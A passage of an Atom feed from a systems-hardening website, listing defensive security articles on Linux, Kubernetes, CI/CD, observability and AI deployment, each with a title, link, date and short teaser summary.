    <summary>WAF Rule Tuning That Does Not Break Legitimate Traffic: ModSecurity and Coraza in Practice
Problem
A self-managed Web Application Firewall (WAF) with default rules generates dozens of false positives...</summary>
  </entry>
  
  <entry>
    <title>eBPF-Based Security Monitoring: Tetragon for Process, Network, and File Observability</title>
    <link href="https://www.systemshardening.com/articles/observability/ebpf-tetragon/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ebpf-tetragon/</id>
    <published>2026-02-22T00:00:00.000Z</published>
    <updated>2026-02-22T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>eBPF-Based Security Monitoring: Tetragon for Process, Network, and File Observability
Problem
Falco monitors syscalls for runtime detection. Tetragon (CNCF/Cilium) goes deeper: it monitors process...</summary>
  </entry>
  
  <entry>
    <title>Adversarial Attacks on Embeddings: Poisoning Vector Stores and Manipulating Semantic Search</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/adversarial-embedding-attacks/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/adversarial-embedding-attacks/</id>
    <published>2026-02-21T00:00:00.000Z</published>
    <updated>2026-02-21T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Adversarial Attacks on Embeddings: Poisoning Vector Stores and Manipulating Semantic Search
Problem
Embedding-based retrieval powers RAG pipelines, semantic search, recommendation systems, and...</summary>
  </entry>
  
  <entry>
    <title>Migrating from Self-Hosted Prometheus to Grafana Cloud: Preserving Dashboards, Alerts, and History</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/migrate-prometheus-grafana-cloud/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/migrate-prometheus-grafana-cloud/</id>
    <published>2026-02-21T00:00:00.000Z</published>
    <updated>2026-02-21T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Migrating from Self-Hosted Prometheus to Grafana Cloud: Preserving Dashboards, Alerts, and History
Problem
Self-hosted Prometheus consumes 500GB+ storage within 6 months for a 20-node Kubernetes...</summary>
  </entry>
  
  <entry>
    <title>Cgroup v2 Resource Isolation: Preventing Resource Exhaustion Attacks on Shared Systems</title>
    <link href="https://www.systemshardening.com/articles/linux/cgroup-resource-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/cgroup-resource-isolation/</id>
    <published>2026-02-21T00:00:00.000Z</published>
    <updated>2026-02-21T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Cgroup v2 Resource Isolation: Preventing Resource Exhaustion Attacks on Shared Systems
Problem
Without resource limits, a single service, container, or compromised process can consume all available...</summary>
  </entry>
  
  <entry>
    <title>SELinux in Production: Writing Custom Policies Without Losing Your Mind</title>
    <link href="https://www.systemshardening.com/articles/linux/selinux/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/selinux/</id>
    <published>2026-02-21T00:00:00.000Z</published>
    <updated>2026-02-21T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>SELinux in Production: Writing Custom Policies Without Losing Your Mind
Problem
SELinux is the most powerful mandatory access control system on Linux, and the most disabled. The majority of...</summary>
  </entry>
  
  <entry>
    <title>AI-Powered Vulnerability Discovery: What Automated Code Analysis Means for Your Patch Cycle</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-vulnerability-discovery/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-vulnerability-discovery/</id>
    <published>2026-02-19T00:00:00.000Z</published>
    <updated>2026-02-19T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Powered Vulnerability Discovery: What Automated Code Analysis Means for Your Patch Cycle
Problem
AI models can now discover exploitable vulnerabilities in source code faster than human researchers....</summary>
  </entry>
  
  <entry>
    <title>Artifact Integrity Verification: Checksums, Signatures, and Transparency Logs</title>
    <link href="https://www.systemshardening.com/articles/cicd/artifact-integrity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/artifact-integrity/</id>
    <published>2026-02-19T00:00:00.000Z</published>
    <updated>2026-02-19T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Artifact Integrity Verification: Checksums, Signatures, and Transparency Logs
Problem
Build artifacts pass through multiple stages between source code and production deployment. Source is compiled in...</summary>
  </entry>
  
  <entry>
    <title>Agent-to-Agent Trust: Authentication, Delegation, and Capability Boundaries in Multi-Agent Systems</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/agent-to-agent-trust/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/agent-to-agent-trust/</id>
    <published>2026-02-18T00:00:00.000Z</published>
    <updated>2026-02-18T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Agent-to-Agent Trust: Authentication, Delegation, and Capability Boundaries in Multi-Agent Systems
Problem
Multi-agent systems are moving from research demos to production deployments. A coordinator...</summary>
  </entry>
  
  <entry>
    <title>Securing LLM Deployments: Model Loading, Runtime Isolation, and Inference Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-deployment-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-deployment-security/</id>
    <published>2026-02-18T00:00:00.000Z</published>
    <updated>2026-02-18T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Securing LLM Deployments: Model Loading, Runtime Isolation, and Inference Infrastructure
Problem
Deploying a language model into production is not just a machine learning problem. It is an...</summary>
  </entry>
  
  <entry>
    <title>Vector Database Security: Access Control, Embedding Protection, and Query Isolation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/vector-database-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/vector-database-security/</id>
    <published>2026-02-18T00:00:00.000Z</published>
    <updated>2026-02-18T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Vector Database Security: Access Control, Embedding Protection, and Query Isolation
Problem
Vector databases are the backbone of RAG (Retrieval-Augmented Generation) systems. They store document...</summary>
  </entry>
  
  <entry>
    <title>The Threat Model Has Changed: Rewriting Security Assumptions for an AI-Augmented World</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/threat-model-ai-augmented/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/threat-model-ai-augmented/</id>
    <published>2026-02-17T00:00:00.000Z</published>
    <updated>2026-02-17T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>The Threat Model Has Changed: Rewriting Security Assumptions for an AI-Augmented World
Problem
Every security architecture is built on assumptions about what attackers can do, how fast they can do it,...</summary>
  </entry>
  
  <entry>
    <title>A/B Model Deployment Safety: Canary Rollouts, Traffic Splitting, and Automated Rollback for ML Models</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ab-deployment-safety/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ab-deployment-safety/</id>
    <published>2026-02-16T00:00:00.000Z</published>
    <updated>2026-02-16T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>A/B Model Deployment Safety: Canary Rollouts, Traffic Splitting, and Automated Rollback for ML Models
Problem
Deploying a new ML model version is not the same as deploying a new application version. A...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes API Server Hardening: Flags, Authentication, and Audit Logging</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/api-server-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/api-server-hardening/</id>
    <published>2026-02-15T00:00:00.000Z</published>
    <updated>2026-02-15T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes API Server Hardening: Flags, Authentication, and Audit Logging
Problem
The API server is the front door to the Kubernetes cluster. Every kubectl command, every controller reconciliation,...</summary>
  </entry>
  
  <entry>
    <title>Time Synchronization Security: Hardening NTP and Chrony Against Manipulation</title>
    <link href="https://www.systemshardening.com/articles/linux/time-sync-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/time-sync-security/</id>
    <published>2026-02-15T00:00:00.000Z</published>
    <updated>2026-02-15T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Time Synchronization Security: Hardening NTP and Chrony Against Manipulation
Problem
Accurate time is a silent dependency of almost every security control on a Linux system. When an attacker can...</summary>
  </entry>
  
  <entry>
    <title>Securing GitHub Actions: Permissions, Pinning, and Workflow Injection Prevention</title>
    <link href="https://www.systemshardening.com/articles/cicd/securing-github-actions/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/securing-github-actions/</id>
    <published>2026-02-13T00:00:00.000Z</published>
    <updated>2026-02-13T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Securing GitHub Actions: Permissions, Pinning, and Workflow Injection Prevention
Problem
GitHub Actions is the most widely used CI/CD platform, but its security model is scattered across dozens of...</summary>
  </entry>
  
  <entry>
    <title>Automated OS Hardening with Ansible: A Production-Ready Playbook Collection</title>
    <link href="https://www.systemshardening.com/articles/linux/ansible-os-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/ansible-os-hardening/</id>
    <published>2026-02-12T00:00:00.000Z</published>
    <updated>2026-02-12T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Automated OS Hardening with Ansible: A Production-Ready Playbook Collection
Problem
Manual OS hardening does not scale. The sysctl settings from Hardening the Linux Kernel Attack Surface with sysctl...</summary>
  </entry>
  
  <entry>
    <title>Securing Message Queues in Production: Kafka, RabbitMQ, and NATS Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/message-queue-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/message-queue-hardening/</id>
    <published>2026-02-10T00:00:00.000Z</published>
    <updated>2026-02-10T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Securing Message Queues in Production: Kafka, RabbitMQ, and NATS Hardening
Problem
Message brokers carry some of the most sensitive data in any architecture, payment events, user actions, system...</summary>
  </entry>
  
  <entry>
    <title>Log Integrity and Tamper Detection: Ensuring Your Audit Trail Is Trustworthy</title>
    <link href="https://www.systemshardening.com/articles/observability/log-integrity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/log-integrity/</id>
    <published>2026-02-10T00:00:00.000Z</published>
    <updated>2026-02-10T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Log Integrity and Tamper Detection: Ensuring Your Audit Trail Is Trustworthy
Problem
An attacker’s first post-compromise action is covering their tracks. On a Linux host, this means deleting...</summary>
  </entry>
  
  <entry>
    <title>Seccomp Profiles for Production Workloads: Writing, Testing, and Deploying Custom Profiles</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/seccomp-profiles/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/seccomp-profiles/</id>
    <published>2026-02-09T00:00:00.000Z</published>
    <updated>2026-02-09T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Seccomp Profiles for Production Workloads: Writing, Testing, and Deploying Custom Profiles
Problem
The default container runtime allows approximately 300 syscalls. A compromised container can use...</summary>
  </entry>
  
  <entry>
    <title>Container Escape Detection: Runtime Signals, Kernel Indicators, and Response Automation</title>
    <link href="https://www.systemshardening.com/articles/observability/container-escape-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/container-escape-detection/</id>
    <published>2026-02-07T00:00:00.000Z</published>
    <updated>2026-02-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Container Escape Detection: Runtime Signals, Kernel Indicators, and Response Automation
Problem
Container escapes are the highest-impact attack in Kubernetes. A single compromised pod that escapes its...</summary>
  </entry>
  
  <entry>
    <title>Multi-Cloud Hardening: Consistent Security Posture Across Providers</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/multi-cloud-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/multi-cloud-hardening/</id>
    <published>2026-02-04T00:00:00.000Z</published>
    <updated>2026-02-04T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Multi-Cloud Hardening: Consistent Security Posture Across Providers
Problem
Running infrastructure across multiple cloud providers means maintaining consistent security controls across fundamentally...</summary>
  </entry>
  
  <entry>
    <title>AI Model Cards in Production: Documenting Capabilities, Limitations, and Security Properties</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-model-cards/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-model-cards/</id>
    <published>2026-02-02T00:00:00.000Z</published>
    <updated>2026-02-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Model Cards in Production: Documenting Capabilities, Limitations, and Security Properties
Problem
Every production AI model has boundaries: input domains where it performs well, edge cases where it...</summary>
  </entry>
  
  <entry>
    <title>PAM Configuration Hardening: Password Policies, Login Controls, and MFA Integration</title>
    <link href="https://www.systemshardening.com/articles/linux/pam-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/pam-hardening/</id>
    <published>2026-02-02T00:00:00.000Z</published>
    <updated>2026-02-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>PAM Configuration Hardening: Password Policies, Login Controls, and MFA Integration
Problem
PAM (Pluggable Authentication Modules) is the authentication foundation on Linux. Default PAM stacks allow...</summary>
  </entry>
  
  <entry>
    <title>Hardening the AI Control Plane: Kill Switches, Rate Limits, and Human-in-the-Loop Gates</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-control-plane/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-control-plane/</id>
    <published>2026-02-01T00:00:00.000Z</published>
    <updated>2026-02-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Hardening the AI Control Plane: Kill Switches, Rate Limits, and Human-in-the-Loop Gates
Problem
AI agents with write access to production systems can execute 100+ infrastructure changes per minute. A...</summary>
  </entry>
  
  <entry>
    <title>How AI Is Compressing the Attacker Timeline: What Defenders Need to Change Now</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-compressing-attacker-timeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-compressing-attacker-timeline/</id>
    <published>2026-01-30T00:00:00.000Z</published>
    <updated>2026-01-30T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>How AI Is Compressing the Attacker Timeline: What Defenders Need to Change Now
Problem
The gap between vulnerability disclosure and weaponised exploit used to be measured in weeks. In 2020, the median...</summary>
  </entry>
  
  <entry>
    <title>Membership Inference Defence: Preventing Attackers from Determining Training Data Inclusion</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/membership-inference-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/membership-inference-defence/</id>
    <published>2026-01-28T00:00:00.000Z</published>
    <updated>2026-01-28T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Membership Inference Defence: Preventing Attackers from Determining Training Data Inclusion
Problem
Membership inference attacks determine whether a specific data record was used to train a model. An...</summary>
  </entry>
  
  <entry>
    <title>Dependency Pinning and Lockfile Integrity: Preventing Supply Chain Attacks in CI</title>
    <link href="https://www.systemshardening.com/articles/cicd/dependency-pinning/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/dependency-pinning/</id>
    <published>2026-01-28T00:00:00.000Z</published>
    <updated>2026-01-28T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Dependency Pinning and Lockfile Integrity: Preventing Supply Chain Attacks in CI
Problem
Dependency confusion and typosquatting attacks exploit the gap between “I declared a dependency” and “I...</summary>
  </entry>
  
  <entry>
    <title>etcd Encryption at Rest: Configuration, Key Rotation, and Performance Impact</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/etcd-encryption/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/etcd-encryption/</id>
    <published>2026-01-28T00:00:00.000Z</published>
    <updated>2026-01-28T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>etcd Encryption at Rest: Configuration, Key Rotation, and Performance Impact
Problem
Kubernetes Secrets are stored in etcd as base64-encoded plaintext. Base64 is an encoding, not encryption. Anyone...</summary>
  </entry>
  
  <entry>
    <title>Kernel Module Hardening: Blacklisting, Signing, and Preventing Runtime Loading</title>
    <link href="https://www.systemshardening.com/articles/linux/kernel-module-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/kernel-module-hardening/</id>
    <published>2026-01-28T00:00:00.000Z</published>
    <updated>2026-01-28T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Kernel Module Hardening: Blacklisting, Signing, and Preventing Runtime Loading
Problem
The Linux kernel loads modules on demand. When a process requests a capability that is not built into the running...</summary>
  </entry>
  
  <entry>
    <title>Zero Trust Networking: Identity-Based Access Beyond Perimeter Security</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/zero-trust-networking/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/zero-trust-networking/</id>
    <published>2026-01-27T00:00:00.000Z</published>
    <updated>2026-01-27T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Zero Trust Networking: Identity-Based Access Beyond Perimeter Security
Problem
Perimeter security assumes the internal network is safe. It is not. A single compromised pod, a stolen VPN credential, or...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Audit Log Pipeline Design: From API Server to SIEM</title>
    <link href="https://www.systemshardening.com/articles/observability/k8s-audit-log-design/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/k8s-audit-log-design/</id>
    <published>2026-01-27T00:00:00.000Z</published>
    <updated>2026-01-27T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Kubernetes Audit Log Pipeline Design: From API Server to SIEM
Problem
Kubernetes audit logging at the RequestResponse level captures everything: every API call, every request body, every response...</summary>
  </entry>
  
  <entry>
    <title>Sandboxing AI Agent Tool Use: Filesystem, Network, and Process Isolation for Autonomous Actions</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/agent-tool-use-sandboxing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/agent-tool-use-sandboxing/</id>
    <published>2026-01-26T00:00:00.000Z</published>
    <updated>2026-01-26T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Sandboxing AI Agent Tool Use: Filesystem, Network, and Process Isolation for Autonomous Actions
Problem
AI agents execute tool calls on real infrastructure: writing files, running shell commands,...</summary>
  </entry>
  
  <entry>
    <title>Claude for Security Detection: How Large Language Models Find What Scanners Miss</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-security-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-security-detection/</id>
    <published>2026-01-26T00:00:00.000Z</published>
    <updated>2026-01-26T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude for Security Detection: How Large Language Models Find What Scanners Miss
Problem
Traditional security scanners operate on pattern matching. They check for known CVEs in dependency trees, match...</summary>
  </entry>
  
  <entry>
    <title>Implementing AI Guardrails: Input Validation, Output Filtering, and Safety Classifiers in Production</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-guardrails-implementation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-guardrails-implementation/</id>
    <published>2026-01-26T00:00:00.000Z</published>
    <updated>2026-01-26T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Implementing AI Guardrails: Input Validation, Output Filtering, and Safety Classifiers in Production
Problem
Deploying an LLM without guardrails is deploying an application where any user can make it...</summary>
  </entry>
  
  <entry>
    <title>Hardening Container Base Images: From ubuntu:latest to a Minimal, Signed, Scannable Image</title>
    <link href="https://www.systemshardening.com/articles/linux/container-base-images/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/container-base-images/</id>
    <published>2026-01-26T00:00:00.000Z</published>
    <updated>2026-01-26T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Container Base Images: From ubuntu:latest to a Minimal, Signed, Scannable Image
Problem
ubuntu:latest ships with over 200 packages. At any given point, a vulnerability scan with Trivy will...</summary>
  </entry>
  
  <entry>
    <title>Using AI to Harden Systems: Automated Configuration Review and Remediation</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-assisted-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-assisted-hardening/</id>
    <published>2026-01-23T00:00:00.000Z</published>
    <updated>2026-01-23T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Using AI to Harden Systems: Automated Configuration Review and Remediation
Problem
Manual security review of infrastructure-as-code takes 2-4 hours per pull request for complex changes. A team...</summary>
  </entry>
  
  <entry>
    <title>Reproducible Builds for Container Images: Achieving Deterministic Output</title>
    <link href="https://www.systemshardening.com/articles/cicd/reproducible-builds/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/reproducible-builds/</id>
    <published>2026-01-23T00:00:00.000Z</published>
    <updated>2026-01-23T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Reproducible Builds for Container Images: Achieving Deterministic Output
Problem
Two builds from the same source code should produce the same container image. In practice, they almost never do....</summary>
  </entry>
  
  <entry>
    <title>Hardening Kubernetes Ingress Controllers: NGINX, Traefik, and Envoy Compared</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ingress-controller-comparison/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ingress-controller-comparison/</id>
    <published>2026-01-23T00:00:00.000Z</published>
    <updated>2026-01-23T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Hardening Kubernetes Ingress Controllers: NGINX, Traefik, and Envoy Compared
Problem
The ingress controller is the internet-facing entry point to a Kubernetes cluster. Every external HTTP request...</summary>
  </entry>
  
  <entry>
    <title>LLM Observability in Production: Monitoring Latency, Token Usage, Safety Violations, and Drift</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/llm-observability-production/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/llm-observability-production/</id>
    <published>2026-01-23T00:00:00.000Z</published>
    <updated>2026-01-23T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>LLM Observability in Production: Monitoring Latency, Token Usage, Safety Violations, and Drift
Problem
Traditional application monitoring (CPU, memory, HTTP status codes, latency) tells you nothing...</summary>
  </entry>
  
  <entry>
    <title>Crypto Mining Detection: CPU Patterns, Network Signatures, and Automated Response</title>
    <link href="https://www.systemshardening.com/articles/observability/crypto-mining-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/crypto-mining-detection/</id>
    <published>2026-01-23T00:00:00.000Z</published>
    <updated>2026-01-23T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Crypto Mining Detection: CPU Patterns, Network Signatures, and Automated Response
Problem
Cryptojacking is the most common post-compromise activity in Kubernetes environments. It is profitable for...</summary>
  </entry>
  
  <entry>
    <title>Building Detection Rules That Don&#39;t Cry Wolf: Alert Design for Security Events</title>
    <link href="https://www.systemshardening.com/articles/observability/detection-rules/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/detection-rules/</id>
    <published>2026-01-23T00:00:00.000Z</published>
    <updated>2026-01-23T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Building Detection Rules That Don’t Cry Wolf: Alert Design for Security Events
Problem
Security detection that generates 50+ false positives per day is worse than no detection, it trains the team to...</summary>
  </entry>
  
  <entry>
    <title>Hardening Model Serving Frameworks: TorchServe, Triton, and vLLM Security Configuration</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/model-serving-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/model-serving-hardening/</id>
    <published>2026-01-22T00:00:00.000Z</published>
    <updated>2026-01-22T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Hardening Model Serving Frameworks: TorchServe, Triton, and vLLM Security Configuration
Problem
Model serving frameworks ship with defaults optimised for development: management APIs exposed on all...</summary>
  </entry>
  
  <entry>
    <title>Securing Fine-Tuning Pipelines: Data Isolation, Checkpoint Integrity, and Access Control</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/fine-tuning-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/fine-tuning-pipeline-security/</id>
    <published>2026-01-21T00:00:00.000Z</published>
    <updated>2026-01-21T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Securing Fine-Tuning Pipelines: Data Isolation, Checkpoint Integrity, and Access Control
Problem
Fine-tuning pipelines are high-value targets. They consume expensive GPU hours, process proprietary...</summary>
  </entry>
  
  <entry>
    <title>GitOps Security Model: Separation of Duties, Drift Detection, and Rollback Controls</title>
    <link href="https://www.systemshardening.com/articles/cicd/gitops-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/gitops-security/</id>
    <published>2026-01-20T00:00:00.000Z</published>
    <updated>2026-01-20T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitOps Security Model: Separation of Duties, Drift Detection, and Rollback Controls
Problem
GitOps centralizes deployment authority in Git repositories. Tools like ArgoCD and Flux watch Git...</summary>
  </entry>
  
  <entry>
    <title>Preventing HTTP Request Smuggling: Configuration for NGINX, HAProxy, and Envoy</title>
    <link href="https://www.systemshardening.com/articles/network/request-smuggling-prevention/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/request-smuggling-prevention/</id>
    <published>2026-01-20T00:00:00.000Z</published>
    <updated>2026-01-20T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Preventing HTTP Request Smuggling: Configuration for NGINX, HAProxy, and Envoy
Problem
HTTP request smuggling exploits inconsistencies in how chained HTTP processors (reverse proxies, load balancers,...</summary>
  </entry>
  
  <entry>
    <title>Hardening the Kubernetes Scheduler: Topology Constraints and Security-Aware Placement</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/scheduler-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/scheduler-hardening/</id>
    <published>2026-01-19T00:00:00.000Z</published>
    <updated>2026-01-19T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Hardening the Kubernetes Scheduler: Topology Constraints and Security-Aware Placement
Problem
The Kubernetes scheduler places pods on nodes based on resource availability and basic constraints. By...</summary>
  </entry>
  
  <entry>
    <title>Certificate Expiry Monitoring: Automated Detection Across TLS, mTLS, and Signing Certificates</title>
    <link href="https://www.systemshardening.com/articles/observability/certificate-expiry-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/certificate-expiry-monitoring/</id>
    <published>2026-01-19T00:00:00.000Z</published>
    <updated>2026-01-19T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Certificate Expiry Monitoring: Automated Detection Across TLS, mTLS, and Signing Certificates
Problem
Certificate expiry is the most common cause of preventable production outages. When a TLS...</summary>
  </entry>
  
  <entry>
    <title>Incident Response Runbooks: Structured Procedures for Common Security Events</title>
    <link href="https://www.systemshardening.com/articles/observability/incident-response-runbooks/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/incident-response-runbooks/</id>
    <published>2026-01-19T00:00:00.000Z</published>
    <updated>2026-01-19T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Incident Response Runbooks: Structured Procedures for Common Security Events
Problem
Detection without documented response is security theatre. Most teams have alerts that fire at 3 AM, but no written...</summary>
  </entry>
  
  <entry>
    <title>AI Credential Delegation: Short-Lived Tokens, Scope Narrowing, and Audit Trails for Agent Access</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-credential-delegation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-credential-delegation/</id>
    <published>2026-01-18T00:00:00.000Z</published>
    <updated>2026-01-18T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Credential Delegation: Short-Lived Tokens, Scope Narrowing, and Audit Trails for Agent Access
Problem
AI agents need credentials to do useful work: database passwords, API keys, Kubernetes service...</summary>
  </entry>
  
  <entry>
    <title>AppArmor Profiles for Custom Applications: From Complain Mode to Enforce</title>
    <link href="https://www.systemshardening.com/articles/linux/apparmor/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/apparmor/</id>
    <published>2026-01-18T00:00:00.000Z</published>
    <updated>2026-01-18T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>AppArmor Profiles for Custom Applications: From Complain Mode to Enforce
Problem
AppArmor is the default mandatory access control system on Ubuntu and Debian. It restricts applications to specific...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Audit Log Analysis: What to Log, How to Query, and What to Alert On</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/audit-log-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/audit-log-analysis/</id>
    <published>2026-01-17T00:00:00.000Z</published>
    <updated>2026-01-17T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Audit Log Analysis: What to Log, How to Query, and What to Alert On
Problem
Kubernetes audit logs record every request to the API server: who made the request, what they asked for, and...</summary>
  </entry>
  
  <entry>
    <title>systemd Unit Hardening: ProtectSystem, PrivateTmp, and the Full Sandbox Toolkit</title>
